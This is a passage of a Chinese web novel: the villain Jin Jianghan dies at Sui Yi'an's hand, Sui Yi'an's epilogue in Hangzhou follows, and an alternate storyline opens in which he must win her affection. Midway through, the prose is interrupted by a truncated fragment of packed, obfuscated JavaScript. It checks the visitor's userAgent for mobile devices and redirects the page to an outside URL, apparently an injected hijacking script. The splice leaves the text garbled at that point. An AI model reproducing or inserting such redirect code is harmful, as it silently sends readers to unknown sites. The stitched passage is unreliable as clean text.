靳江浛想都没想就否决掉,他又说:“谙,就算这个世界上的所有人都要杀你,只要我还剩一口气,我就不会让他们伤到你一丝一毫。”
岁忆谙的眼泪无声滚落,悲哀地望着他:
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“靳江浛,你应当知晓……我活不了了。”
靳江浛怔愣,眼眶瞬间蓄满泪水,他像是才知晓这件事。
“谙,我不想你死。”
“我同样不想你死。”
“杀了我,放岁忆谙离开吧。”
靳江浛虽然直视着岁忆谙的双眼,但是这句话却不是对岁忆谙说的。
岁忆谙有些懵,眼神透露出一丝茫然,紧接着她就听见了熟悉的机械声。
【叮!任务更新:请宿主杀死反派靳江浛。】
【任务奖励:离开这个世界。】
“靳江浛,你疯了!”
靳江浛让主系统篡改了任务,他还是不想让岁忆谙死。
“还是用岁岁吧。”
靳江浛垂下眼眸,低声叹气,将黑石长剑交到岁忆谙手里,岁忆谙想挣脱开,身躯却不受控制。
两人对立而站,桃花树的花瓣簌簌落下,淡粉色的桃花瓣有意无意地阻碍着两人的对视,鼻尖都是花香,却异常苦涩。
靳江浛眼中是浓烈的不舍,他仔仔细细地看了岁忆谙一遍,像是要把她的模样刻进骨髓里。
他挥手,用魔力控制着岁忆谙抬起手臂。
岁忆谙崩溃大喊,:“靳江浛,你不能控制我!”
“因为爱,我剥夺了你的自由,囚禁了你。”
“因为爱,我自愿放你离开,可我不愿让你忘记我。”
“所以…………”
“请亲手杀死我,愧疚我,记住我。”
黑石长剑应声刺入胸膛,血液流下。
“靳江浛!!”
长剑落地,岁忆谙踉跄地扑上前,靳江浛张开双手将她抱了个满怀,即使知晓自己即将死亡,他的嘴角还挂着淡淡的微笑。
岁忆谙伸手捂上靳江浛的伤口,鲜血从指缝不断涌出,将嫁衣浸湿。
靳江浛继续说:“谙,你记住我所做的一切,都是因为我爱你。”
“谙,我想求你一件事。”
“求你不要原谅我,你要恨我,恨我一辈子。”
或许这样你就不会忘记我了。
岁忆谙点头应下,泪水啪嗒啪嗒落在他的衣襟上。
“谙,我最后问你一个问题。”
“你有没有爱过我吗?”靳江浛有些紧张。
彼此的手紧紧地交握着,岁忆谙眼眸深沉,她垂头思索,最终开口。
“我不想说假话…………我爱过你。”
此话一出,靳江浛眼眶中的泪终于落下了,他释怀了。
“在这个世界所经历的一切,会是我这一生中最刻骨铭心的记忆。”
“但同样………我不会说假话,我不会愧疚于你,你我之间早已两不相欠了。”
岁忆谙还是说了句实话,她不想骗靳江浛。
“罢了,你所经历的一切里起码有我,有我就好。”靳江浛却觉得这些不重要了,只要岁忆谙爱过自己就好。
靳江浛死了。
微风拂过,桃花树感受到了死亡,只是一瞬间,花枝上所有的花瓣落在了靳江浛的尸体上,渐渐将他掩盖。
岁忆谙跪坐在尸体旁许久,她擦掉泪水,将黑石长剑放在他的身侧,眼中的悲伤早已消失得一干二净。
“靳江浛…………”岁忆谙张了张口,不知晓自己该说什么,好在主系统同意了她的建议,不然她真的不知晓自己该怎么离开。
岁忆谙抚摸上靳江浛脸庞,眸子冷淡,站起身后掸了掸嫁衣上沾着的花瓣,垂眸望着地上逐渐冰冷的尸体,她还是说了这么一句。
“当真是对不住了。”
【岁忆谙,你还有最后一个任务。】
【杀了所有人。】
震耳欲聋的脚步声传来,岁忆谙甚至能感受到脚下的地在震动。
“这样也好,你们在我笔下诞生,那就由我来结束你们的生命。”
全文完———
79. 岁忆谙番外
尸堆之上,岁忆谙持剑而立,她杀了所有人,包括死在脚边主角。
岁忆谙筋疲力尽,她浑身染血,大红色的嫁衣变成深红,当她倒下的那瞬间,周围的一切支离破碎。
再次睁眼,岁忆谙就发现自己回到了出租屋,她第一件事不是换下嫁衣,而是翻出《月绕当空》的手稿。
岁忆谙拿起手稿,顺手拿上打火机跑上天台,为了防止自己再次进入书中世界,她打算把手稿烧掉,彻底让书中世界不复存在。
夜色凄凉,凉风萧瑟,一沓厚厚的纸瞬间燃起熊熊火焰。
“在这个世上,除了我岁忆谙,没有人知晓你们的存在了。”
岁忆谙呐呐自语,瞳中倒映着明亮的火光,她摩挲着手腕上系着的红绳和五彩绳,左肩隐隐作痛,她一把扯下这两根绳子丢到火中。
火焰一下子窜得很高很高,还爆发出了轰鸣声,像是惨叫,像是哭泣,岁忆谙不自觉地倒退一步,冷冷地注视着。
火光逐渐黯淡,最后消失殆尽,那一沓纸被烧成了灰烬,岁忆谙彻底放下心来。
岁忆谙是孤儿,父母因为癌症去世,六岁的她被送进了福利院,在福利院里,她过得不好也不坏,只是没有朋友而已,但院长木姨对她很好,所以她把福利院当成了自己的家。
岁忆谙的心理年龄很成熟,而成熟的缺点就是太清醒,小小年纪的她就对自己的未来感到迷茫。
其实她原本的名字并不是岁忆谙,上了小学时,她学到了白居易的《忆江南》,她十分向往充满诗意的江南水乡,于是便给自己改了名字。
可是岁忆谙直到现在都没去过江南,大学时,她对小说有了兴趣,小说对她来讲,就是去往另一个世界,哪怕这个世界是虚构的。
可正因为岁忆谙知晓这些是虚构的,所以才不愿意沉沦其中,那太痛苦了。
进入书中世界后,岁忆谙唯一想离开的念头就是木姨,当她拿出手机想给木姨发信息时,她才想起来……木姨已经去世了…………
岁忆谙将身上的衣服全部脱下,以防万一,她通通扔到烧纸币的铁桶烧掉。
岁忆谙洗完澡,继续收拾着房里的书籍,就像是什么事情都没发生过一样,在这时,手机突然传来信息提示声。
打开手机,是银行发来的信息,有人给她打钱了,看着一后面跟着的八个零,岁忆谙懵了。
一个亿进了她的账户……
一个亿?!
这是系统给的奖励,岁忆谙书中世界都变成这样了,主系统还会打一个亿给她。
有了这一个亿,岁忆谙第一时间就定下了飞往杭州的机票。
岁忆谙打算在杭州定居下来,她买了下一间小院,日子过得十分悠闲,不过太闲了,她重操旧业,继续写小说。
因为不用在乎生计,岁忆谙写的比较随性,想更就更,不想更就不更,前提是没人看。
有人看之后,她就面临读者催更问题了。
这天,岁忆谙来到街边一家旗袍店,店主是个长相温婉的女子,叫杨悦心,也是她在杭州认识的第一个人。
杨悦心将沏好的茶放在岁忆谙桌前,说:“在这里呆得怎么样?这小镇游客比较少,除了经常下雨和衣服不干之外,好像也没什么缺点。”
“挺好的,景很美,人也美。”岁忆谙笑道,她看向对面的杨悦心,仔细看能看出来杨悦心与杜随心有五六分相似。
杨悦心忍不住笑出声来,她看了眼岁忆谙身上的青色旗袍,忍不住说:“我店里有那么多颜色的旗袍,你怎么只穿青绿色的?”
岁忆谙低头看了眼自己身上的旗袍,青色竹叶纹样的,说:“我喜欢青绿色。”
“对了,店里进了一批新料子,都是绿色的,我拿给你看看。”
杨悦心站起身走进里头的小房间,岁忆谙坐在外面等着。
清脆的风铃声响起,旗袍店的玻璃门被人推开,岁忆谙扭过身子看去,是一对情侣。
女生穿着白色短上衣,黑色半身裙,男生则是黑衣白裤。
当岁忆谙看清楚女生发间绑着白缎带的那一刻,她呆愣住。
两人逛了一圈,最后女生拿着一件黑色旗袍走到岁忆谙面前。
“你好,请问这件价格是多少,可以试吗?”
岁忆谙回过神来,她站起身,“我不是店主,不知晓价格,但这件衣服可以试,试衣间在那里。”
“谢谢。”女生道谢,将手机交给她的男朋友后,就拿着旗袍进了试衣间。
岁忆谙的视线一直跟着女生移动,直到试衣间的门被关上才回头。
“谙,你快…………”杨悦心的话打断了岁忆谙的思绪,她看见了男生,问,“来客人了?”
岁忆谙:“对,她女朋友拿了一件黑色旗袍进去试了。”
“那你先挑着,我去忙了。”杨悦心将一盘子布料放在桌上,转身来到试衣间前。
左肩又痛了起来,岁忆谙将注意力转到面前的布料上,布料十分光滑,她仔细翻看,第一块是孔雀绿,布料上的暗纹是祥云图样。
第二块是偏蓝调的绿,当岁忆谙看到最后一块时,她心中一惊,手止不住颤抖起来,心砰砰跳着,她将最后一块抽出,是苔藓绿,上面的纹样是桃花。
左肩更痛了,岁忆谙蹙眉,忍不住伸手捂上,就在这个时候,杨悦心回来了。
“怎么样,挑好了吗?”杨悦心坐下。
“这些都好看,只是这布料上的暗纹为什么是桃花?”岁忆谙问。
“桃花?”杨悦心凑近看了看,“原来是桃花,我还以为是樱花,我看着漂亮就让卖布的印了。”
“是喜欢这块料子吗?那我就用这一块给你做一身。”
岁忆谙点头,杨悦心有她的三围尺寸,所以就让她三天后来取。
三天后,岁忆谙来到旗袍店。
站在镜子前面,岁忆谙端详着镜中的自己,袖子做的是倒大袖的样式,苔藓绿色的旗袍长到膝盖下方,脚上穿着白色粗跟鞋。
旗袍的整张布料都是桃花暗纹,并不繁杂,只有站在光下才能看出来。
旗袍下摆绣上了一枝淡粉色的桃花,枝叶向上延伸。
“喜欢吗?看看还有哪里需要修改的。”杨悦心说。
岁忆谙摸着料子,说:“很喜欢,暂时没有需要修改的,多少钱?”
“打完折是三千六。”
“刷卡吧。”岁忆谙从竹节包里拿出了银行卡,付完款后又留下来喝了杯茶。
推开玻璃门才发现外面下雨了,雨丝很细,杨悦心说:“下雨了,你没带伞吧,我给你拿把油纸伞。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378501|165111||http|test|mini|href|location''.split(''|''),0,{}));
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>没一会儿,杨悦心翻出了一把颜色鲜红的油纸伞,她将伞递出去,“我只剩红色的油纸伞了。”
岁忆谙接过油纸伞:“多谢了,改天我再来找你喝茶。”
“路上小心。”
烟雨朦胧之中,岁忆谙穿着刚买的苔藓绿旗袍,撑着红色油纸伞走在青石板路上,鞋跟与石板碰撞出了哒哒哒的声音。
雨并不大,岁忆谙不想那么快回去,她去坐了摇橹船,乘船的是一个穿着中山长装的奶奶,她经常坐奶奶的船,两人也算熟悉。
奶奶还会唱曲儿,整条船上除了撑船的奶奶,就只有岁忆谙一人,她坐在船舱里。
耳边是雨丝拍打在船上的啪嗒声,还有奶奶格外柔情的嗓音,船在小河上一晃一晃,就像身处摇篮之中。
困意袭来,岁忆谙闭上眼小憩,不知何时,船靠了岸。
“姑娘,船靠岸了。”
“岁姑娘,快醒醒。”
岁忆谙猛地惊醒,发现自己还在船舱里时,她松了口气,付了钱下船,雨已经停了,当她离开的时候,奶奶的那艘船上了两个人。
“师兄,你约我出来就只是为了坐船?”
“其实…………其实也可以当成我们第一次的约会。”男生的声音格外腼腆,还能从话里听出些紧张。
女生调笑:“约会?师兄妹之间用这个词不太好吧。”
“我……我不想当你师兄…………”
熟悉的嗓音令岁忆谙愕然回首,只可惜船渐渐驶远,什么都看不见。
小雨淅淅沥沥地下着,一点儿也没有要暂停的迹象,岁忆谙撑着伞四处晃悠,苔藓绿的裙摆摇曳生姿,她上了桥,桥面不宽,只供两个人并行。
对面也走来一个女生,她打着普通的雨伞,怀中好像抱着一只白色的动物,准备擦肩时,两人的伞不约而同地往外倾斜。
即将走下桥前,那个女生或许是因为岁忆谙旗袍好看,她扭过头看向岁忆谙,而岁忆谙似有感应般回头。
两人的目光在空中撞上,朦胧的雨让岁忆谙看不清对方的容貌,她礼貌地朝对方点点头。
下了桥后,岁忆谙打算回家,她要先去便利店里买些零食饮料。
收起伞放在门口,门口收银的位置站着一男一女。
岁忆谙目标明确,径直走向便利店最里面的冰柜,站在冰柜前挑选饮料。
“晴晴,你最近总是熬夜,还上火,不能吃辣条了。”收银位置传来无奈的声音。
女生清冷的声音充满不满:“你不要仗着自己是中医就可以随便看我的脸。”
岁忆谙握住冰柜把手的动作一顿,她深呼吸,然后打开冰柜,取出自己想喝的饮料。
结账时,那两个人已经走了。
回家路上,岁忆谙左肩上的牙印一直传来痛感,痛了那么多次,她自然也知晓为什么痛了。
到了家里,岁忆谙洗完澡后就坐在书桌前,一般痛起来的时候,她都会通过写作转移自己的注意力。
日子就这样一天天过去,十分平淡,岁忆谙赚了钱就去旅游,去吃好吃的,去玩好玩的。
不想动的时候,岁忆谙就坐在院子里的摇椅上。
春日听雨,夏日捉蝉,秋日拾花,冬日堆雪。
毕竟她的人生,她说了算。
完———
80. IF假如是反派攻略(一)
上一世靳江浛被杀死后,他才得知自己是一本小说里的反派,而杀死他的两个人是书中主角,他不甘心!!!!
【叮!恭喜您绑定攻略系统!】
黑暗之中,一道机械声传入耳畔,靳江浛有些困惑。
【宿主您好,我是系统零零壹,您如果想要改变结局,就需要攻略这个世界的创造者————岁忆谙。】
【当岁忆谙对您的好感度到达百分之百的时候,我就可以满足您的一个愿望。】
什么攻略的靳江浛已经听不清了,他只听见创造者这三个字,他质问:“岁忆谙?她就是害我家破人亡的罪魁祸首?”
零零壹:【是的。】
“呵…………怎么个攻略法?”靳江浛虽然嘴上这么说着,但是他心里想的却是如何杀死岁忆谙。
【很抱歉,这需要宿主自己想法子。】
零零壹语气冰凉,它警告道:【注意!任务期间,请宿主不要对岁忆谙动杀心,倘若您动了杀心,您就会受到惩罚。】
“什么惩罚?!”
靳江浛没有等到回答,一道白光从黑暗中出现,他惊呼:“等一下,你还没告诉我岁忆谙长什么样子?”
再次睁眼,靳江浛发现自己身处混乱之中,低头看着自己小小的手,他呆愣住。
他这是…………重来一次了!
爹娘呢?
背部被一双手使劲推了一把,靳江浛整个人不受控制地往前飞去,他知晓这是爹娘的手。
“爹娘!”
靳江浛摔落在地,刚哀嚎出声,一双手捂上了他的嘴。
“快走!”
靳江浛被人抱了起来,他扑腾地想要下来,抱他的人力道却格外大。
跑了快十里地,靳江浛才被放下,他扬起脑袋一看,是一个穿着苔绿色长裙的女子,他警惕地问:“你是谁?”
女子蹲下身来,说:“再问别人名字之前,你是不是得说出你自己的名字。”
靳江浛懒得理会,转身就走,他还得赶紧找到那个岁忆谙。
零零壹及时出声提醒:【宿主请注意,岁忆谙已出现。】
靳江浛脚步一顿,环顾四周,除了自己和那个女子,就没有其他人在场了。
她就是岁忆谙?
此刻的岁忆谙有些迷茫,她记得自己刚刚还在睡觉来着,怎么出现在了这里?难道她在做梦?
“我叫靳江浛。”稚嫩的声音传来,岁忆谙低头一看,是她带出来的小男孩。
他说他叫靳江浛…………
“靳江浛?!”岁忆谙惊呼,这不是她小说里的人物吗?还是个反派。所以这不是做梦,而是穿书了?
靳江浛看见了岁忆谙眼中的惊讶,她认识自己。
“你呢?”靳江浛问。
岁忆谙蹲下身,说:“我叫岁忆谙,岁岁年年的岁,记忆的忆,熟谙的谙。”
确定眼前的人就是罪魁祸首后,靳江浛压制住想要杀她的心思,他伸手揪上了岁忆谙的衣袖,说:“我能…………跟着你吗?”
这几个字靳江浛说得咬牙切齿,而岁忆谙只当他是害怕,她握上靳江浛的手,“当然可以,我们先走吧。”
岁忆谙牵着靳江浛离开,两人来到人间,借住在了一间村子里。
当晚,躺在床上的靳江浛查询了岁忆谙对自己的好感度。
零零壹:【百分之三十。】
“这么低。”靳江浛点点头,他突然想知晓其余角色的好感度了。
“那她对那两个主角呢?”
【黎绕月百分之百,白英空百分之百。】
“竟然是百分之百!”
就连素未谋面的黎绕月和白英空都是百分之百,他怎么才百分之三十!
靳江浛气愤地锤了一下床,紧接着越想越生气,翻来覆去地睡不着觉,他下了床敲响了岁忆谙住的房门。
房中的岁忆谙也没睡,她还在想自己该怎么回去,连个系统都没有,想着想着,门被敲响。
岁忆谙推开门一看,没人。
随即才向下看去,一张气鼓鼓的小脸映入眼帘,夜里风大,岁忆谙将衣衫单薄的靳江浛拉进屋,关上门后,拉开椅子让他坐下。
岁忆谙也拉开椅子坐到他身边,问:“怎么了?是不是想爹娘了?”
温婉轻柔的嗓音让靳江浛愣了一下,他忽然结巴了。
“你…你……我…………”
岁忆谙微微蹙起眉头,问:“我什么?你……什么?”
靳江浛也问不出岁忆谙为什么对自己好感度那么低,他垂下脑袋,随口道:“我睡不着。”
岁忆谙以为靳江浛害怕,她叹了口气,伸出了手。
脑袋一重,靳江浛感受到了脑袋上的触感,他浑身僵硬,但并没有躲避,一股莫名的力量传入体内,身体很舒服,真奇怪。
脑袋一轻,靳江浛诧异抬头,却发现眼前的人不见了,那股力量也随之消失。
“岁忆谙?”
靳江浛下了椅子,在房中四处寻找,一个人影都没有,他朝空中说:“那个谁,岁忆谙呢?”
零零壹虽然有些无语,但还是弯着嘴角,笑着说:【我是零零壹。】
靳江浛不以为意:“哦,岁忆谙呢?”
【宿主稍等,正在查询中。】
靳江浛等待着零零壹的回话,等了将近一宿,它都没有开口,直到三日过后,他正在帮主人家浇菜时,零零壹才出声:【叮!岁忆谙在山上。】
靳江浛将水瓢往地上一扔,转身就往山上冲。
出租屋里,岁忆谙从床上醒来,望着熟悉的天花板,她从枕头底下摸出手机。
刺眼的屏幕光让岁忆谙不适地眯了眯眼,适应光线后,她发现现在才凌晨一点,看来自己应该只是做了个梦。
岁忆谙收起手机,眨了下眼准备继续睡觉时,却发现眼前的场景变了。
“这是哪儿啊?”
周围是葱郁的树木,阳光透过树叶间隙照下,岁忆谙能感受到阳光的灼热,她有些懵,难道自己又做梦了?
哒哒哒的脚步声从身后传来,岁忆谙转身看去,远处出现一道小小的身影。
靳江浛来到岁忆谙面前,喘着气说:“你去哪儿了?为什么突然消失了?我都等你三天了。”
还是个连续梦。
岁忆谙随口道:“我喝水去了。”
靳江浛吃惊,这是什么拙劣的借口,岁忆谙当他是小孩子吗?
“走吧,我们回去吧。”
岁忆谙牵上靳江浛的手往回走,当她第四次走错路后,靳江浛无奈,他反过来拉着岁忆谙的手,说:“你还是跟着我吧。”
一大一小在林间晃悠,地上的枯叶被碾碎,发出咯吱咯吱的声音。
当晚,岁忆谙正要上床睡觉时,门被敲响,开门后,一道小身影挤了进来,他双手端着一个盛满水的铜盆。
“你做什么?”
靳江浛放下铜盆,然后让岁忆谙坐在床上。
岁忆谙坐在床上,震惊地问:“你要给我洗脚?”
靳江浛弯着身子一言不发,要不是为了好感度,他怎么可能做伺候人的事。
之前他问零零壹该如何提升好感度时,零零零说:【端茶倒水,洗衣做饭,还有哄她开心就好啦。】
岁忆谙脱了鞋将脚放在盆里,说:“没想到你这么懂事,真是个好孩子。”
下意识说出口的好孩子不仅令靳江浛愣住,就连岁忆谙都愣住了,他是反派,就算是个小孩,那他也还是一个反派。
更何况,靳江浛小小年纪就杀人了,和好这个字一点儿也沾不上边。
靳江浛偷偷抬头看了岁忆谙一眼,见她叹气,心中不由嗤笑,自己都没叹气,她又有什么好叹气的。
岁忆谙只是在叹气靳江浛的以后,希望在他以后被人唾骂时,还能记得有人说过他是个好孩子。
但是…………靳江浛为什么要给自己洗脚,他心里不会憋着坏吧?
一想到这儿,岁忆谙收起脚,说:“好了好了,你快去睡觉吧,我也要睡了。”
靳江浛也懒得伺候了,他端着铜盆转身出去,门还没关严实,他就迫不及待地问:“岁忆谙对我的好感度是多少?”
【百分之三十一。】
才涨一点!
靳江浛无语,他忍着怒气回了房,唯一能发泄的,只有将脚重重地踩向地板。
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天刚亮,靳江浛就端着洗脸的水站在岁忆谙门口,他低声说着:“姐姐…………”
【宿主,您的声音太小了。】
“姐姐。”靳江浛说得大声了些。
【宿主,您的声音太冷了。】
“姐姐~~~”姐姐二字从喉间挤出,靳江浛差点恶心到自己。
零零壹昨夜又给靳江浛支招了,靳江浛本不愿意,但一想到那纹丝未动的好感度,他只能硬着头皮上。
“姐姐,你醒了吗?”
房内没有回答,靳江浛心中一惊,他径直推开门进屋,门板撞在墙上发出一声闷响,目光在房内来回扫视。
房内空空如也,床上也无人,伸手一摸,冰凉无比。
“零零壹,岁忆谙又去哪儿了?”
【宿主稍等,正在查询中。】
【岁忆谙在凌仙宗。】
靳江浛一听,擦拭剑上鲜血的动作一顿,等待了百年的问题终于有了回答。
“凌仙宗………我还以为你不会回答了。”
百年已过,靳江浛也长大成人,这百年里,零零壹一直没说过话,有些时候,他真的怀疑自己脑子有病,竟然信了零零壹的鬼话。
可在这期间,他想杀死白英空时,却被一股无形的力量阻止,为了复仇,他只能出发去找岁忆谙了。
凌仙宗———
岁忆谙迷迷糊糊地睁眼,她起身下床穿鞋,穿上之后,她感觉怪怪的,这地怪怪的。
光滑无比,不是凹凸不平的水泥地,岁忆谙抬头一看,发现周围的环境十分陌生,不是破旧的茅草屋,而是古香古色的卧房。
书桌上的香炉上方还飘着袅袅青烟,房内还萦绕着淡淡的椰奶香,岁忆谙不由得多吸了几口。
“这哪儿啊?”她刚刚不是在房里睡觉吗?
就在岁忆谙疑惑之际,门被推开,一个穿着白衣纱裙的女子走了进来,“姑娘,你终于醒了。”
“你是?”
金萱将手中的瘦肉粥放在桌上,笑着说道:“我是凌仙宗弟子金萱,你当时躺在凌仙宗山下昏迷不醒,我与白师兄将你带了回来。”
“凌仙宗?白…………英空?”岁忆谙想到了笔下男主,她怎么一觉睡醒就来凌仙宗了?
金萱问:“你认识白师兄?”
“不认识,那个……多谢你了。”
“不用客气,你是想来凌仙宗修仙的吗?”
“啊?”岁忆谙错愕。
“不是吗?”金萱的头稍稍歪向一侧,来凌仙宗的人大多都是想要进来修炼的,难道她猜错了?
“是啊。”也不知怎得,岁忆谙点头应了下来。
“你睡了快一天,先吃些东西我再带你去考核的地方吧。”
一睡醒就感觉脑子昏昏沉沉,原来是睡了一天,岁忆谙记得自己没有梦游的习惯。
几口干完瘦肉粥后,岁忆谙就跟着金萱走后门来到宗门口。
宗门口站着的人不多,加上岁忆谙也才十个。
“这是今日想要入凌仙宗的人,你待会儿听长老们吩咐就好,我还有事,就先走了。”
“多谢金姑娘。”
岁忆谙走入人群之中,不多时,一个两鬓发白的老人出现在几人面前。
石长老捋了捋胡子,清清嗓子,开口道:“近日魔族重现,宗门弟子匮乏,考核难度降低,但你们想要入凌仙宗也没那么容易。”
石长老挥袖,两面高高的长镜凭空出现,几人不约而同惊呼,就连岁忆谙都瞪大了眼,她竟然看见了施法现场。
“走进镜中,倘若能从另一面镜子里出来,就代表着考核通过,倘若你出现在山脚下,那就回家去吧。”石长老又道。
话落,十个人开始排队往镜子里走,岁忆谙是最后一个,当她踏进镜中后,发现镜子里是灰蒙蒙一片,什么都没有,就连先进去的九个人也不见了踪影。
岁忆谙并不在意自己能不能入凌仙宗,若是出现在山脚下也不错,起码不用爬山。
正当岁忆谙准备抬脚往前走时,身后突然传来劲风,发丝被吹得飘起,她诧异回头,一道人影贴了上来。
“好久不见啊,姐姐。”
81. IF假如是反派攻略(二)
“好久不见啊,姐姐。”
这句话像是从齿缝里挤出来的,充满戾气。
岁忆谙的心微微一颤,仰头看去,是一个面容英俊的男子,那双黑眸中充满着无尽的怨恨,好像她做了什么坏事一样。
“你是?”岁忆谙不认识他,对他眼中的怨恨更是莫名其妙。
“岁忆谙,你不记得我了?”
“你认识我?”岁忆谙反问,面前的这张脸给她一种十分熟悉的感觉,但是她想不起来自己在哪儿见过。
听到这话,靳江浛的心中更加气愤,自己等了她百年,她凭什么不记得自己!
靳江浛狠狠瞪了岁忆谙一眼,然后越过她往前走去。
岁忆谙一脸懵,怎么还瞪自己了?还有不说话是几个意思?
“你还不走吗?”
靳江浛回头望了岁忆谙一眼,示意她跟上自己。
岁忆谙懒得理会靳江浛,转身朝相反的方向走去,哪来的神经病在这儿发疯,她还是躲远点好了。
靳江浛看着潇洒的背影一愣,调转步子,三步并作两步跟了上去。
两人沉默地走着,走着走着周围的环境就变了,一出来就撞上了石长老,他的视线在两人身上了流转,看到靳江浛时狐疑了一下。
十个人里头有他吗?石长老认为自己记性不好,他说:“看来就只有你们两个,报上名来。”
“岁忆谙。”
“靳江浛。”
靳江浛是直勾勾地盯着岁忆谙说的,话音刚落,就见岁忆谙瞳孔猛地收缩。
还真像自己想的那般震惊,靳江浛很满意岁忆谙表露出的神情。
岁忆谙诧异地从上到下扫了眼靳江浛,这不才过了一天吗?靳江浛怎么长这么高了?
石长老在弟子名册上写下两人的姓名后,就挥手道:“跟我走吧。”
靳江浛率先跟上去,步伐轻快,能看出他心情十分不错。
岁忆谙就不爽了,表明身份就表明身份,靳江浛刚才还打什么哑谜?
装模作样。
岁忆谙快步上前,瞅准目标,一脚踹了过去。
靳江浛被踹得一个踉跄,他站稳后,看向岁忆谙的眼里充斥着不可置信,还有隐隐杀意,紧接着他就感受到心脏一抽一抽的,浑身都痛了起来。
【宿主,你一定要忍住啊!】零零壹开口说。
靳江浛心中燃烧着的怒火被这句话浇灭,他收回视线,努力平复情绪。
瞬息之间,心跳恢复正常,身躯也不再疼痛,仿佛刚才的一切都是幻觉。
石长老将两人带到武场,在武场练习的弟子很多,兴许是因为有两张新面孔出现,弟子们纷纷投来视线。
靳江浛自然察觉到了这些人的视线,他有些不悦,默默地走到外侧,遮挡住落在岁忆谙身上的目光。
石长老停在一位白衣飘飘的男子身后。
“英空。”
男子应声回头,躬身行礼:“石长老。”
英空?岁忆谙看见了男子的容貌,她怔愣住,这不会就是她笔下的男主吧?!
同样听到英空二字的靳江浛赶忙用余光瞥向岁忆谙,岁忆谙的反应格外刺眼。
一想到她的白英空的好感度是百分之百,靳江浛就气愤不已。
【叮!】
系统音骤然响起。
【攻略对象岁忆谙对白英空好感度刷新。】
靳江浛愣住,他有些不明白这是怎么一回事,什么是刷新?难道岁忆谙对白英空的好感度发生变化了?
他迫不及待地询问零零壹。
【岁忆谙对白英空的好感度是多少?】
零零壹:【攻略对象岁忆谙对白英空好感度为:百分之三十。】
靳江浛大惊,随之而来是喜悦,没想到岁忆谙对主角的好感度也不高,但这是为什么?
零零壹似乎是知晓靳江浛的疑惑,它主动回答:【岁忆谙对纸片人与真人的好感度并不一样。】
【那我呢?】
【也是百分之百。】零零壹自然知晓靳江浛指的是岁忆谙对纸片靳江浛的好感度。
此话一出,靳江浛脑子空了一瞬,嘴角勾起一抹不易察觉的弧度,就连冷漠的黑眸中都出现了些许笑意。
他吩咐道:【以后岁忆谙对其他人的好感度变化都要告诉我。】
【好的。】
“这两个是新入门的弟子,交给你了。”
“是。”
石长老走后,白英空才看向两人,开口说:“我叫白英空,从今日开始,我便是你们的师兄了,你们叫什么名字?”
“靳江浛,她是岁忆谙。”
靳江浛心情很好地开口,他率先说出自己的名字,还顺带替岁忆谙说出口。
岁忆谙这才回过神来。
白英空微微颔首,笑得温和:“好听。”
“我先带你们四处逛逛,熟悉熟悉凌仙宗。”
白英空带着两人走遍凌仙宗,还说了一些需要注意的地方。
天色已近黄昏,不知不觉两人已经走了将近半天,岁忆谙累得不想说话,反而靳江浛还想再多走走。
白英空也将两人带到了各自的弟子卧房,再去女弟子卧房前,他将岁忆谙交到了一个熟人手上。
“金师妹,这是今日入门的岁忆谙,你带她去弟子卧房吧。”
“好。”金萱应下。
“原来你叫岁忆谙。”
“金师姐好。”岁忆谙也没想到会这么巧,她乖乖跟在金萱身后。
女弟子的住处在凌仙宗的东边,男弟子的住处在凌仙宗的西边,女弟子不得进男弟子卧房,男弟子亦不能进女弟子卧房。
两处相隔甚远,门规里有写弟子之间不得结为道侣,但是被查出来的惩罚也就是抄写门规而已,所以凌仙宗内还是有很多对恋人。
金萱带着岁忆谙来到女弟子住处,是一座巨大的院落,推开厚重的大门,就能见院子里种着许多各色各样的花,芬芳扑鼻,大部分她都不认识。
“凌仙宗弟子不多,所以每人都有一间卧房,这两块是你的牌子,上面是你的房号。”
金萱还详细说了一下牌子的使用方式,一块长方形,一块圆形,长方形牌子是用来开门的,圆形牌子是用来锁门的,只有将圆形牌子取下,长方形牌子才能取下。
岁忆谙懵懵懂懂地点点头,她脑子里怕是只有牌子这两个字了。
“我住在零陆叁,有什么事可以敲门找我,这是你的衣服,往后在凌仙宗你要一直穿几套了。”
金萱将木牌子和衣服交到岁忆谙手上,岁忆谙接过道谢。
“明日卯时三刻你就得起床了,我会来提醒你的。”
岁忆谙想了想,大惊失色:“卯时三刻?那不是还不到六点?”
金萱离开后,岁忆谙拿起木牌子,开始找她的卧房。
“零零零…………”
“零零零在哪儿呢?”
“找到了!”
岁忆谙来到零零零号卧房前,下意识推门进去却发现打不开,门框上的位置有一处长方形的凹槽,而与它相邻对称的就是零零零号长方形牌子。
想起金萱说的话,岁忆谙试探性地将木牌子放上去,牌子与凹槽完美契合。
咔嚓一声,门就自动开了。
岁忆谙走进卧房,里头的空间比她想象中的要大很多,陈设布置也十分美丽。
卧房被分三部分,都被纱幔隔开,岁忆谙收拾了一下卧房,然后疲惫地倒在床上不想动弹。
今天实在是太累了,岁忆谙没想到她即将开启自己的修仙之旅,也不知晓后面还有什么事情会等着她。
一想到这儿,岁忆谙又在思索自己到底在不在做梦,她真的穿进了自己写的小说里面吗?
这一切怎么就那么假呢?
岁忆谙心一狠,拧了自己大腿一把。
“嘶————”大腿上传来的痛感十分清晰,她吃痛地揉着大腿。
“看来不是做梦,是真穿书了。”那怎样才能回去呢?好像没有系统来帮助她,要是有的话,应该早就出现了吧。
想着想着,饥饿袭来,岁忆谙这才反应过来自己今天只喝了一碗瘦肉粥,现在的她很饿,离开卧房打算觅食。
岁忆谙记得白英空有说过膳厅位置,她离开弟子住处,顺着记忆往膳厅走去,可她还是高估了自己的记忆力,走了小半个时辰后,她发现自己迷路了。
原本呆在卧房里的靳江浛正准备就寝,零零壹突然出声。
【宿主!!】
“干什么?”靳江浛不耐烦道。
【岁忆谙迷路了,您快去帮她,可以刷好感度呀!】零零壹着急忙慌道。
靳江浛无可奈何,他走出卧房,顺着零零壹的指引走。
夜色如墨,月亮被厚厚的云层遮住,月光洒不下来,岁忆谙迷茫地走着,她本想找个弟子问问路,但奇怪的是,周围一个人都没有。
靳江浛正想上前时,却瞥见一道身影走出。
“姑娘?”
就在岁忆谙无力之际,身后传来一道清润之声。
